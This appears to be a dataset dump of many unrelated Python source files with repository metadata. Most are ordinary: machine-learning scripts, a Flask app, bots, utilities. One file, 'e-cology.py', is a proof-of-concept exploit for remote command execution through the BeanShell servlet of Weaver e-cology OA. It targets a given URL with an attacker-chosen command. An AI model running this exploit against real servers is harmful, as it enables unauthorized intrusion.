9,139,690,419,004
c8612d312a4ae610b34387b9ace410f3c8c397a1
073353de7c23aa42756adfe33f51b41029dd4f87
/src/Convolutional_VAE/cvae_train.py
032c56bae62b185237de695aa81ae0457969d3e9
[ "MIT" ]
permissive
https://github.com/Cyril-Grl/MuGen
e0725f80a8d36b6e4d6cb556a65cde2b8defa992
b4585fe9c1e9bb5d952b79782132e54ba5f0d011
refs/heads/master
2023-09-05T08:26:34.302182
2022-07-05T08:20:01
2022-07-05T08:20:01
216,768,752
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
'''Example of VAE on MNIST dataset using MLP The VAE has a modular design. The encoder, decoder and VAE are 3 models that share weights. After training the VAE model, the encoder can be used to generate latent vectors. The decoder can be used to generate MNIST digits by sampling the latent vector from a Gaussian distr...
UTF-8
Python
false
false
9,819
py
36
cvae_train.py
31
0.620837
0.606172
0
323
29.396285
118
sctveb/django-n-flask
1,692,217,127,141
68e680b58152d06cbb37c445efac28fa328eb47f
54dc8c32adf9188bbc0c493a12d1525dc0e38322
/test_project/app.py
9698011c9f275f3f6ec9121e4939ea8b4fc390b3
[]
no_license
https://github.com/sctveb/django-n-flask
f8b34fa0386a6bd96c446ac107b9726991243ff8
8927fb100655175eff135007872af441f3ccdc13
refs/heads/master
2022-12-13T05:28:39.946182
2019-09-21T06:55:36
2019-09-21T06:55:36
209,937,969
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from flask import Flask, render_template, request, redirect, jsonify from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate from models import * app = Flask(__name__) # DB 설정 app.config["SQLALCHEMY_DATABASE_URI"] = 'postgresql:///todos' app.config["SQLALCHEMY_TRACK_MODIFICATION"] = False db.init_ap...
UTF-8
Python
false
false
2,931
py
64
app.py
25
0.634554
0.631354
0
84
32.5
137
luanjinlu/test
6,511,170,459,642
03e85c89aa4cba8a3b877c8464c749fb12a958ce
352819e919db7f6c8c1d050d5dd4e41b1416af0a
/hello.py
df9624a1d8d668c45f7048a6197f7140a79d5cf3
[]
no_license
https://github.com/luanjinlu/test
a560d0dfd0badb4921456bef59ce4cf3f3d7d645
3e8d7453219c8cda3f60193e3cba6f96961d4b6b
refs/heads/master
2020-03-29T22:13:12.069257
2018-09-26T10:31:50
2018-09-26T10:31:50
150,409,343
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python print('hello jinlu')
UTF-8
Python
false
false
44
py
1
hello.py
1
0.681818
0.681818
0
3
13.666667
21
newtasion/raas_cp
15,161,234,581,235
58a9cd344b640cb3822e626f199dcaf2444e0da8
ff2f3bcb4932d36998988af7f9b0741cb0b587bd
/match_engine/common/datafile_utils.py
2957a0e6ae650f8e82204d0235d41c4114947c96
[]
no_license
https://github.com/newtasion/raas_cp
fb54aaad1b8dc7aaa30b4bec9f2d820ca9805185
df437f83446a9a46a515074c95653a2e29303a5e
refs/heads/main
2021-01-10T22:08:55.102856
2014-11-20T06:58:50
2014-11-20T06:58:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
""" utilities for dealing with data files in the system. Created on Jul 12, 2013 @author: zul110 """ import os INDEX = 'domain_index' MATCHES = 'domain_matches' TVREC = 'domain_tvrec' PROFILE = 'domain_profile' CANDIDATE = "candidate" TRAININGDIR = "training" def getTrainningDir(domainDir): return os.path.jo...
UTF-8
Python
false
false
2,228
py
44
datafile_utils.py
42
0.715889
0.709156
0
110
19.254545
53
faustfu/hello_python
13,829,794,705,207
20b68724196d289a954bb02d2d8756675816fed9
f7d2114152ec5c8e283b6bfbb9feeb5a4337eb71
/file06.py
c96679b536a7bc2874e7b92437b7af94cd753210
[]
no_license
https://github.com/faustfu/hello_python
f5759ff6bf87694e6ba472349f4263bc8ad479b0
1487e60e2d9307e1a0ebffbf26d8e075da806a39
refs/heads/master
2021-02-10T18:01:50.450295
2020-11-20T02:17:18
2020-11-20T02:17:18
244,406,161
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# 1. Module:configparser is for process configurations. import configparser filename = 'a.cfg' cfg = configparser.ConfigParser() cfg.add_section('a') cfg.add_section('b') for section in cfg.sections(): cfg[section]['greeting'] = 'hi' with open(filename, 'wt') as fout: cfg.write(fout) with open(filename, '...
UTF-8
Python
false
false
458
py
132
file06.py
132
0.665939
0.663755
0
20
21.9
71
safebutler/django-sendgrid-parse
15,461,882,296,999
b60aeaa33c9da5ff111894e56959ac5198ee26ab
4ad757d5a03db8ce7b1c123bbea30ddef2a6d89b
/django_sendgrid_parse/migrations/0004_auto_20160816_1704.py
0560848caa70ea82aef76308eaee73910d09d1de
[ "MIT" ]
permissive
https://github.com/safebutler/django-sendgrid-parse
b253c47a39d040457064d16ec7e500a8fa0b2c97
37448e78b4dcaa0b42197d5fb2071492d8b7cc77
refs/heads/master
2020-04-18T15:48:25.231111
2019-01-25T22:15:31
2019-01-25T22:15:31
167,620,137
0
0
MIT
true
2019-01-25T22:04:23
2019-01-25T22:04:23
2017-02-15T12:34:45
2017-02-21T17:27:27
52
0
0
0
null
false
null
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2016-08-16 17:04 from __future__ import unicode_literals from django.db import migrations, models import jsonfield.fields class Migration(migrations.Migration): dependencies = [ ('django_sendgrid_parse', '0003_auto_20160730_0019'), ] operat...
UTF-8
Python
false
false
2,773
py
20
0004_auto_20160816_1704.py
16
0.559322
0.5467
0
81
33.234568
111
manuelcortez/Audio-Game-Kit-for-Python-AGK-
11,776,800,354,189
90b7d9729a7dbd45f721d06d162417c34e8f4642
76ef27d0669b6cedd31540c0b98168cc2584f7ae
/AGK/misc/menu.py
ed384ad8fa202876f25c1381ef8c4266f87d2ace
[]
no_license
https://github.com/manuelcortez/Audio-Game-Kit-for-Python-AGK-
3a779560e0b3987b2cb52b59f9c0b659f842597d
88b5e44345bb536b29995966beaed883ccd0438e
refs/heads/master
2020-07-22T15:19:32.261164
2016-11-15T14:40:49
2016-11-15T14:40:49
73,828,145
1
0
null
true
2016-11-15T15:38:03
2016-11-15T15:38:03
2016-11-10T18:57:39
2016-11-15T14:41:03
3,119
0
0
0
null
null
null
from ..speech import SAPI, auto from ..mainframe import keyboard import pygame class menu_item(object): def __init__(self,text,name,is_tts): self.text=text self.name=name self.is_tts=is_tts class menu(object): def __init__(self, sapi=False): self.position=0 self.items=[] self.sapi=sapi d...
UTF-8
Python
false
false
1,134
py
10
menu.py
9
0.631393
0.623457
0
48
21.666667
48
KodairaTomonori/NLP100knock2015
7,086,696,055,370
fe0f0a2c1aae2be491fea83cba507c82324f647b
d19c17d12e99f3064a21d336a450ffaf91d5626b
/Python/04set/part36.py
c4e06b178dcd6c6285a6a921b3c409cbcdd60941
[]
no_license
https://github.com/KodairaTomonori/NLP100knock2015
913c4bd8de526e347344684f8db40df8a47fe3a5
f4d0319816a7e068a29e7a724f85829215088cfa
refs/heads/master
2021-01-21T12:50:06.428173
2016-04-30T13:26:43
2016-04-30T13:26:43
35,171,120
6
2
null
null
null
null
null
null
null
null
null
null
null
null
null
#coding: utf-8 from part30 import * from collections import defaultdict from collections import OrderedDict def getWordFreqDict(mecab_file): line_list = makeLineList(mecab_file) base = 'base' word_frequency = defaultdict(lambda:0) for morpheme_list in line_list: for morpheme_dict in morpheme_list: ...
UTF-8
Python
false
false
600
py
150
part36.py
102
0.65
0.64
0
26
21.346154
47
aarongilman/pysftp
16,930,761,083,139
4dcb1e7e471a9629d9682c7e5c319e3dbdb9f299
06484873314a9beaf9f2b03a0438bb82d0471465
/docwatch.py
efa8827189080670a3bcd3ba7ca532e54c8c70af
[]
permissive
https://github.com/aarongilman/pysftp
9a174fa337e593ebe90c88bdf61746d09920e5b0
b80cddee27451a2071fc71a101e025d14d125910
refs/heads/master
2022-07-02T15:03:52.805368
2020-05-14T19:35:40
2020-05-14T19:35:40
264,007,637
0
0
BSD-3-Clause
true
2020-05-14T19:34:48
2020-05-14T19:34:48
2019-08-28T12:22:26
2019-08-28T09:56:42
1,126
0
0
0
null
false
false
#!/usr/bin/env python """A small utility to live build and reload in a webbrowser when a source or config file changes. Very helpful for writing documentation.""" import platform import webbrowser from livereload import Server, shell def main(): """main routine""" make_cmd = 'make html' if platform.syst...
UTF-8
Python
false
false
665
py
41
docwatch.py
31
0.649624
0.637594
0
24
26.708333
76
stefandebruyn/Oenpelli
18,691,697,676,288
53ca8dad823cffd644638f6dc84ac42aaa4f04a0
f17effc25b24823572c34de671ed5bde1482accb
/oenpelli/__init__.py
6e0f386f472ed07c0ca5eecbe184f07dcd5ba315
[ "MIT" ]
permissive
https://github.com/stefandebruyn/Oenpelli
df9284a90caa08e2f09e5b8466f2742bff8ceb79
e7e86d45c4ef44f3019ab7d211977feb8a813a7b
refs/heads/master
2018-12-09T20:24:53.308910
2018-10-03T17:15:13
2018-10-03T17:15:13
148,065,540
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
""" Small library for robot control engineering. """ name = "oenpelli"
UTF-8
Python
false
false
72
py
8
__init__.py
7
0.694444
0.694444
0
5
13.4
44
isg-hi/osaka_metropolis
8,478,265,472,443
f9e8b63222df440df516c84d5224f9be13c71407
ae43ba5cbbe4149f86366260d91a6639c239729e
/seeds_test.py
745c76d9b1d040582017266cc4fe142fd0743b68
[]
no_license
https://github.com/isg-hi/osaka_metropolis
e7642b783d84e85f7d09cea260dc3698a3f459dc
e8491f12076045a38e7fe7d711c875975ac4f093
refs/heads/master
2023-02-03T11:47:49.062773
2020-12-25T16:01:17
2020-12-25T16:01:17
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from xgb_param_tuning import XGBRegressorTuning from xgb_validation import XGBRegressorValidation import pandas as pd from datetime import datetime import os from sklearn.metrics import r2_score from sklearn.model_selection import KFold import numpy as np # 結果出力先 OUTPUT_DIR = f"{os.getenv('HOMEDRIVE')}{os.getenv('HOME...
UTF-8
Python
false
false
4,018
py
7
seeds_test.py
4
0.689127
0.674378
0
86
39.22093
133
prazors/Python
652,835,045,124
11eb6ca17254f8b771b10c9e30daf435f3b419a5
26bfc7931e42885ded3c36cd12129867e952552a
/num_digits_success.py
09448b500130fa69cd51e2062a4b75f19219e05c
[]
no_license
https://github.com/prazors/Python
fa90b70716df54fbfa681a875ab35912c54c80ef
fa33e50684fdee2d9194d840fc816a6c3bfd8f1d
refs/heads/master
2021-01-10T20:19:03.594788
2013-10-22T21:38:48
2013-10-22T21:38:48
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
def num_digits(n): count = 0 if n>0: while n: count = count + 1 n = n / 10 print count else: count = 1 print count
UTF-8
Python
false
false
193
py
55
num_digits_success.py
55
0.38342
0.352332
0
10
17.3
29
Jaycoobs/hat
12,945,031,444,046
1bd36d739109740dca9bd977b18def2c9db9edeb
bb2d392464b8acbb618210b34fa6c4352a264e19
/hat.py
52bd007ab1a846225015d476569fd450aa4c9305
[]
no_license
https://github.com/Jaycoobs/hat
c4fdb2bccbc1b11fd31752174d7b3c22800eb4d3
1ef514083898035feae0c19992b9a5e248ed4603
refs/heads/main
2023-06-30T12:43:22.253113
2021-08-01T19:19:55
2021-08-01T19:19:55
390,521,057
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import json import random import sched from fastapi import Body, FastAPI, HTTPException from fastapi.staticfiles import StaticFiles from fastapi.responses import RedirectResponse hats = {} nextSaveEvent = None scheduler = sched.scheduler() app = FastAPI() api = FastAPI(); app.mount("/web", StaticFiles(directory="web...
UTF-8
Python
false
false
1,883
py
6
hat.py
2
0.654275
0.646309
0
75
24.106667
84
Chandler-Song/pi
6,820,408,099,212
866a3b58394d45aca24185503a3c3f20effcf958
7cd8ee14711eaf33cee0d9e06e78a974fc579242
/flask/Linkedin/Linkedin/spiders/linkedin_excelsheet_parsing.py
fab96236a4ff2135db1607001497d3c969680704
[]
no_license
https://github.com/Chandler-Song/pi
c618117dfdd9a7496a57c69f029851e94787f591
aebc6d65b79ed43c66e7e1bf16d6d9f31b470372
refs/heads/master
2022-03-13T02:44:30.452673
2019-02-19T09:38:45
2019-02-19T09:38:45
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from linkedin_voyager_functions import * import glob import openpyxl as px class Linkedinparsing(object): def __init__(self): self.con, self.cur = get_mysql_connection(DB_HOST, DB_NAME_REQ, '') current_path = os.path.dirname(os.path.abspath(__file__)) self.social_processing_path = ...
UTF-8
Python
false
false
5,501
py
392
linkedin_excelsheet_parsing.py
367
0.619887
0.61407
0
111
48.54955
243
KatyaKalache/holbertonschool-higher_level_programming
16,355,235,468,371
451183b230288ab20f3893a8b8aa6dc79d33c39d
84bdc0fd6aaaac7c519866fef855be8eae88a80f
/0x01-python-if_else_loops_functions/100-print_tebahpla.py
54cf05d2819186e59ee1ab74561781d1e70be898
[]
no_license
https://github.com/KatyaKalache/holbertonschool-higher_level_programming
b74ca3e3c32ded6f54a40748775d0d4475e32409
e746a41ccb3f268c9d6d4578b80a0b9e7cf7d067
refs/heads/master
2021-01-20T02:29:04.972257
2017-10-11T06:24:17
2017-10-11T06:24:17
89,413,672
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python3 i = 122 while i > 96: copy = i if (i % 2) != 0: copy = i - 32 print('{:}'.format(chr(copy)), end='') i = i - 1
UTF-8
Python
false
false
154
py
111
100-print_tebahpla.py
82
0.428571
0.357143
0
8
18.25
42
YZqiangGithub/PWN-
10,711,648,442,268
89c613821af764ddade9d7eb6f30367791983208
0e9b6d053b5c36ed6afa67496fdfae2911a5d8ee
/JO_level6/level6.py
1267f57a2866f966723935c56073db649d4b399b
[]
no_license
https://github.com/YZqiangGithub/PWN-
30098830b65d35bf9b6ba0cb88e26ed3291a733a
d57d8269da000b8eeb9d75610bdbe5b2ede538ef
refs/heads/master
2020-08-07T23:15:12.150310
2020-05-05T13:37:11
2020-05-05T13:37:11
213,618,977
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from pwn import * elf = ELF('./freenote_x86') libc = ELF('./libc-2.19.so') conn = remote('pwn2.jarvisoj.com','9885') conn.interactive()
UTF-8
Python
false
false
139
py
32
level6.py
31
0.647482
0.57554
0
9
14.555556
41
vinhho2508/BigO_Blue
652,835,061,654
c9211c54a4130daaad0d4467d278eb74c6dced20
ce8f5486e89a1ca22f326f2f5488f040cc7bb4de
/msteambot.py
211851b5d545f5577ef1d0a0377fdb10ae7bdd85
[]
no_license
https://github.com/vinhho2508/BigO_Blue
5a4da7e8ef99d9341a56a257f139fb9f54c15e36
71c1b5c416a3a5c340662f51e64f928b401096bf
refs/heads/master
2022-11-30T23:42:33.035385
2022-10-30T14:46:32
2022-10-30T14:46:32
235,124,633
0
4
null
false
2022-10-30T14:46:33
2020-01-20T14:46:52
2022-10-24T14:08:14
2022-10-30T14:46:32
11,255
0
2
0
Python
false
false
import logging import pymsteams import datetime class HermesBot: hook_url: str = None client: pymsteams.connectorcard def __init__(self): self.hook_url = "https://vngms.webhook.office.com/webhookb2/vjndskvds/mvlxcvmlxcv" self.client = pymsteams.connectorcard(self.hook_url) def sent_me...
UTF-8
Python
false
false
1,293
py
21
msteambot.py
20
0.617169
0.610982
0
37
33.945946
118
drizztSun/common_project
3,058,016,720,175
385397b81ad849dc8f7f2b624ae618b7ffe368f6
9ee51d5d6d976a4ad99704a334185f60df65f7ba
/PythonLeetcode/leetcodeM/39_CombinationSum.py
539afe7fec0924f240be6ba58526194d8b0264e9
[]
no_license
https://github.com/drizztSun/common_project
348756c2b88c485fb9d192f5a7304c2a38cf4219
cf4e1f1a96db896f1325de0283f8607bba5f55aa
refs/heads/master
2021-06-05T22:35:27.071506
2021-06-05T17:26:46
2021-06-05T17:26:46
143,934,217
0
1
null
false
2021-06-05T13:01:52
2018-08-07T22:45:56
2021-06-04T22:53:01
2021-06-05T13:01:52
95,247
0
1
11
Python
false
false
""" 39. Combination Sum Given an array of distinct integers candidates and a target integer target, return a list of all unique combinations of candidates where the chosen numbers sum to target. You may return the combinations in any order. The same number may be chosen from candidates an unlimited number of times. T...
UTF-8
Python
false
false
8,977
py
2,891
39_CombinationSum.py
2,842
0.669934
0.654673
0
237
36.881857
420
fschulze/pytest-flakes
10,136,122,850,265
f6cd28030ba77f118d2d6ad81c11fdfd78ef98b2
27178fd1cfdeb2146574724480932d0304a72454
/setup.py
452867e1dd30a7d4966ea815475a8bca6472677e
[ "MIT" ]
permissive
https://github.com/fschulze/pytest-flakes
49429ecdd661263540437bd773a3dd4ed456d6bd
7d439a08a7cd53268838e7e21bef620cec3d2475
refs/heads/master
2020-12-24T16:34:59.792806
2020-11-28T00:02:29
2020-11-28T00:02:29
8,013,163
35
14
null
null
null
null
null
null
null
null
null
null
null
null
null
from setuptools import setup setup( name='pytest-flakes', description='pytest plugin to check source code with pyflakes', long_description=open("README.rst").read(), license="MIT license", version='4.0.3', author='Florian Schulze, Holger Krekel and Ronny Pfannschmidt', url='https://github.c...
UTF-8
Python
false
false
1,118
py
3
setup.py
2
0.61449
0.597496
0
28
38.928571
67
shoomanboy/currencybot
3,762,391,360,344
593dfd0e88a3564da8fa1088f82a783007f1f49b
e5b3cd5ec76564ff00aa3b390680224ff6cc9c85
/bot_currency.py
c2ec906cf3cd63e67c4a30c01a8e6b99b41dcaac
[]
no_license
https://github.com/shoomanboy/currencybot
bcb4bf8b2c7b3123b9b4170fbb412dda9e2ac9ba
84c1cacd7b86bcbd81828c29c939ec8bc53ad802
refs/heads/main
2023-03-08T16:20:56.010274
2021-02-21T10:01:43
2021-02-21T10:01:43
316,521,627
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from telegram import bot, ReplyKeyboardRemove, ReplyKeyboardMarkup, PhotoSize, ParseMode, InlineKeyboardMarkup, \ InlineKeyboardButton,KeyboardButton from telegram.ext import Updater, CallbackContext, Filters, MessageHandler, ConversationHandler, CommandHandler, \ CallbackQueryHandler from settings_bot_curr...
UTF-8
Python
false
false
26,835
py
7
bot_currency.py
4
0.655465
0.649972
0
385
58.054545
252
udayt-7/Data-Structures-Python
893,353,214,251
45a7ded7babdbb568b1501f66d5753e213db6d8a
a3249e6686d3e4c5b980cc5868da1115997fa4fc
/Stacks_and_Queues/s1p1.py
851a69ed7b24e0d91ef5926957587a5d3f2ca918
[]
no_license
https://github.com/udayt-7/Data-Structures-Python
caa6d19c0ef37e0d9448902b23a0f98a70b08944
d4a5fad5364f5fab231e4c02b2f21d2c0dfc7ce3
refs/heads/master
2020-05-04T01:38:09.343017
2019-04-01T17:11:08
2019-04-01T17:11:08
178,909,745
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#Implement a function with signature transfer(S,T) that transfers all elements from Stack S onto Stack T, #so that that elements that starts at the top of S is the first to be inserted into T, and element at the bottom of S ends up at the top of T. import stack1 s = stack1.LimitedStack() t = stack1.LimitedStack(...
UTF-8
Python
false
false
552
py
38
s1p1.py
38
0.713768
0.708333
0
25
21.08
144
coolfreex/vulTest
17,703,855,206,548
ad24420bb86ff6381301db6902fd0c388d6cda0d
22e6c7a56e56793ae1587b8876ada7cbf18ea313
/e-cology.py
9a23a027851574d1daf92c059294724a005b9ec7
[]
no_license
https://github.com/coolfreex/vulTest
931b4457f4e3f33e1c5646a5263b4c7e8e2ec325
39bd3d6ef408b5dec3434698c8bc1bd74605c2b2
refs/heads/master
2021-05-25T12:20:48.592854
2020-04-07T09:51:54
2020-04-07T09:51:54
253,752,677
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/4/7 14:02 # @Author : so:Lo # @File : e-cology.py # 泛微e-cology OA Beanshell组件远程代码执行 # usage:python3 e-cology.py http://target cmd # import sys import requests # cmd = 'ls' vulable = '/weaver/bsh.servlet.BshServlet' headers = { 'User-Agent': 'Mozi...
UTF-8
Python
false
false
1,356
py
1
e-cology.py
1
0.568114
0.532934
0
51
25.196078
137
lyx199504/MachineLearningInAction-Python3
9,766,755,652,637
c3a0b150478d617de8027b144fcfa1cd8bcacf8b
6a6f0e40d58d52a57cc3c4bcbd39ee05a5919240
/ch11_apriori/apriori.py
29e86c6c18e5f3e3f72cfdb108902139efeee092
[]
no_license
https://github.com/lyx199504/MachineLearningInAction-Python3
3e930bb98615362ba445ec86cfa91d849cde8330
1d23fac90e9aaa894445f444f8caf23fe3d24c40
refs/heads/master
2020-12-04T09:09:34.191208
2020-08-11T07:58:45
2020-08-11T07:58:45
231,706,844
0
2
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/1/16 21:27 # @Author : LYX-夜光 # 创建子集 def createC1(dataSet): C1 = [] for transaction in dataSet: for item in transaction: if not [item] in C1: C1.append([item]) C1.sort() return list(map(frozenset, C1)) # 计...
UTF-8
Python
false
false
3,266
py
26
apriori.py
25
0.567831
0.540296
0
95
30.347368
81
srinivasskc/Python-Programming-Learning
1,460,288,905,563
ddb28000c77698399ca50f202f80ca80fbb2c21d
414b21e4645117e92582fb3ad76026a10c6d00d5
/Python150Challenges/Strings/20-26 Challenges/Challenge24.py
cddd426c61eb14f38432559f61a4c15384af6911
[]
no_license
https://github.com/srinivasskc/Python-Programming-Learning
1a8caf1a4fc602ef5b819d6168377fcfe6ba7351
4d4523473521b94f76709b204251bd4ef6ab5f1e
refs/heads/master
2022-11-14T20:10:02.453767
2020-07-07T03:58:03
2020-07-07T03:58:03
272,511,628
2
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# 024 Ask the user to type in any word and display it in upper case. word = input("Enter any country name: ") print(word.upper())
UTF-8
Python
false
false
132
py
223
Challenge24.py
198
0.704545
0.681818
0
4
32
69
cafaray/atco.de-fights
9,131,100,494,411
f64c6b1b3cc1c1a44897bc904156db6039926056
b186830ab8e74452cb2e8ff0188d0a8fa3d15b59
/smallestMultiples.py
e1e71d9c09c31b1cd390bd0c50dcbbf8a9729467
[]
no_license
https://github.com/cafaray/atco.de-fights
e3a278bd51feb7bee05623eaf20d1ea4db535eb6
1304bcabf1f18202c14a20b38144854ef05bf776
refs/heads/master
2022-11-26T05:57:37.564504
2020-07-28T12:07:01
2020-07-28T12:07:01
124,416,047
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
def smallestMultiple(left, right): n=right while True: isD=True for d in range(left,right+1): if n%d!=0: isD=False break if isD: return n n+=1 left=2 right=4 print(smallestMultiple(left,right)) left=1 right=1 print(smallestMul...
UTF-8
Python
false
false
338
py
334
smallestMultiples.py
332
0.547337
0.526627
0
18
17.833333
37
iredkoz/testapp
6,038,724,053,662
eaed91d55dca46d2e396dde2427c535b2448b997
11a00d33e45744203a10cb3461f409bd4ccd821c
/app/home/views.py
79fb3632cb336a77dfc3bbbc4f63ab5612282245
[]
no_license
https://github.com/iredkoz/testapp
3534a9537d8dd68015a1f553b08acb498e441a77
d0118f2e42d4e439c343da92ef3985c78fbef969
refs/heads/master
2021-05-23T05:23:07.958811
2018-07-10T14:13:45
2018-07-10T14:13:45
95,160,009
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from flask import redirect, render_template, url_for, flash, abort from . import home @home.route('/') def home_main(): return render_template('home/index.html')
UTF-8
Python
false
false
168
py
33
views.py
17
0.714286
0.714286
0
7
23
66
desihub/desispec
11,166,915,012,111
62ad49d50ba9cdec9539be9c30761882533e1a31
5c26d7a1f93fb30a6d36e65d5724765d3deb2894
/py/desispec/test/test_pipeline_run.py
9c1d4fb468c4d37a33a6349896dd587cb7a39f48
[ "BSD-3-Clause" ]
permissive
https://github.com/desihub/desispec
8ab21880a10c25527ce8855294e6d039c75d4e0f
d75d0540cd07df1bf46130338a33c2ced51fbead
refs/heads/main
2023-08-17T16:10:23.127096
2023-08-16T17:30:36
2023-08-16T17:30:36
26,142,080
33
31
BSD-3-Clause
false
2023-09-14T18:21:54
2014-11-03T22:34:47
2023-09-01T06:51:22
2023-09-14T18:21:52
30,375
29
23
306
Python
false
false
""" tests desispec.pipeline.core """ import os import unittest import shutil import time import numpy as np import subprocess as sp # # from desispec.pipeline.common import * # from desispec.pipeline.graph import * # from desispec.pipeline.plan import * # from desispec.pipeline.run import * # from desispec.util impor...
UTF-8
Python
false
false
2,800
py
488
test_pipeline_run.py
414
0.57
0.569643
0
89
30.460674
100
Dimi727/python-api-test
17,471,926,960,349
68620bd118151ba42ee9e7a0311d5150bc00980f
45e25eb3c25c42c88ea2d6c7187633712cb94d73
/mongodb.py
fa466341c1d67e1a13ee1543c315d0fbd250e3be
[]
no_license
https://github.com/Dimi727/python-api-test
b16d992fb6c7c4196657abb644cc511ed77d2ecd
484563a2b09a1c85e70731ebf83e6af573800c1a
refs/heads/master
2021-09-04T11:58:16.637135
2018-01-18T13:50:33
2018-01-18T13:50:33
114,892,908
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from pymongo import MongoClient from pprint import pprint client = MongoClient() db = client.admin serverStatusResult=db.command("serverStatus") pprint(serverStatusResult)
UTF-8
Python
false
false
175
py
16
mongodb.py
12
0.817143
0.817143
0
10
16.6
45
lanlingshao/algorithm
549,755,823,468
f02a95ffabc5611ce6faf4e65fe995a36d6ea63c
960619ac02393e33ef9d6c7c1019df5ad42ae329
/sort/merge_sort.py
edd0222520ac3378420430e343a844ad70374edc
[]
no_license
https://github.com/lanlingshao/algorithm
91d1c991fd1cda6b682e2fff4bc1323ea3eefb92
ea84849e537a175b236ae303ae288312bb7c0358
refs/heads/master
2023-08-25T22:59:13.235223
2021-11-04T14:28:35
2021-11-04T14:28:35
193,303,231
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
""" 归并排序(Merge sort)是建立在归并操作上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。 作为一种典型的分而治之思想的算法应用,归并排序的实现由两种方法: 自上而下的递归(所有递归的方法都可以用迭代重写,所以就有了第 2 种方法); 自下而上的迭代; 和选择排序一样,归并排序的性能不受输入数据的影响,但表现比选择排序好的多,因为始终都是 O(nlogn) 的时间复杂度。代价是需要额外的内存空间 2. 算法步骤 申请空间,使其大小为两个已经排序序列之和,该空间用来存放合并后的序列; 设定两个指针,最初位置分别为两个已经排序序列的起...
UTF-8
Python
false
false
4,069
py
24
merge_sort.py
15
0.522086
0.491531
0
97
30.041237
76
TimoStroehlein/dhbw-bigdata-mtg
9,895,604,650,361
3f708b6260d23a72d5b7b4b2f3deadb7b7f0bc8a
9bda4ba9c3ae050c48fb51604f822692a23d1824
/airflow/python/pyspark_export_cards.py
542aaacab800a4e521eca6283286353793ac7663
[]
no_license
https://github.com/TimoStroehlein/dhbw-bigdata-mtg
ba5852f9a3e3a9a45b22526feba7ad2e6415254b
271eb172e3a42dd5678fe3f968dc47f79a4e425c
refs/heads/main
2023-04-02T20:26:09.779902
2021-04-04T13:34:27
2021-04-04T13:34:27
350,386,642
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import pyspark import argparse import json from pyspark.sql import SparkSession from pyspark import SparkContext from pyspark.sql.functions import col, expr, explode, concat_ws from pymongo import MongoClient def get_args(): """ Parses command line args. """ parser = argparse.ArgumentParser() par...
UTF-8
Python
false
false
1,765
py
16
pyspark_export_cards.py
8
0.62153
0.616431
0
64
26.578125
97
maks-ym/python-projects-and-stuff
11,957,189,002,905
0544a1216a21da0724a5544c35f5336996d0c63c
ae365a5458e16cb717dd18388c97ff37f036215c
/generators_time_test/utils.py
ec8ee4b5f41b4f0816acea692287219e91e015d2
[]
no_license
https://github.com/maks-ym/python-projects-and-stuff
70207229d11eb7d156648ca86a89bdf6c45b3062
9aac8b841d14f3d7bba3d07462d13afea23f0421
refs/heads/master
2023-04-03T19:40:38.158342
2023-03-21T20:04:27
2023-03-21T20:04:27
224,304,547
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import time import matplotlib.pyplot as plt def timeit(func): def wrapper(*args, **kw): res_time = time.time() func_res = func(*args, **kw) res_time = time.time() - res_time return res_time, func_res, func.__name__ return wrapper def create_subplot(place, x, y, title="Figure")...
UTF-8
Python
false
false
593
py
33
utils.py
8
0.573356
0.568297
0
25
22.76
52
ghas-results/usbinfo
9,337,258,950,877
c088a02c672811ad31cb6e62555d08af695f2a40
78352c23528f9e1f5567b777984923a3cd02d319
/usbinfo/linux.py
02470dd6e3fa56f2bbb5939241a64b313ca97330
[ "Apache-2.0" ]
permissive
https://github.com/ghas-results/usbinfo
02566421a87db9f9e6fe78765cbe27043f5b9896
6445de71313e4c5ac17d83e3d82d07dde508cb79
refs/heads/master
2023-08-23T09:23:05.761262
2021-06-24T18:12:43
2021-06-24T18:12:43
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Copyright 2018 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
UTF-8
Python
false
false
2,753
py
1
linux.py
1
0.631311
0.621867
0.001816
83
32.168675
78
Sylux6/meltylog-analysis
6,064,493,847,375
d93cceb1e19ad32dd3f749adab89ce39b6c9569c
9a77b635e4dafdc32f061b6beb9fe30f8b3cad24
/graph.py
5e0243fa08763d1ca645bcce75fd974c70964291
[ "MIT" ]
permissive
https://github.com/Sylux6/meltylog-analysis
8e8d131fad2469721db74f6c85df2340e3797cc1
e7a89b52c701d948a2db3208ff715cd88eaeb242
refs/heads/master
2021-07-13T12:31:44.228819
2018-08-29T10:31:11
2018-08-29T10:31:11
124,910,015
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
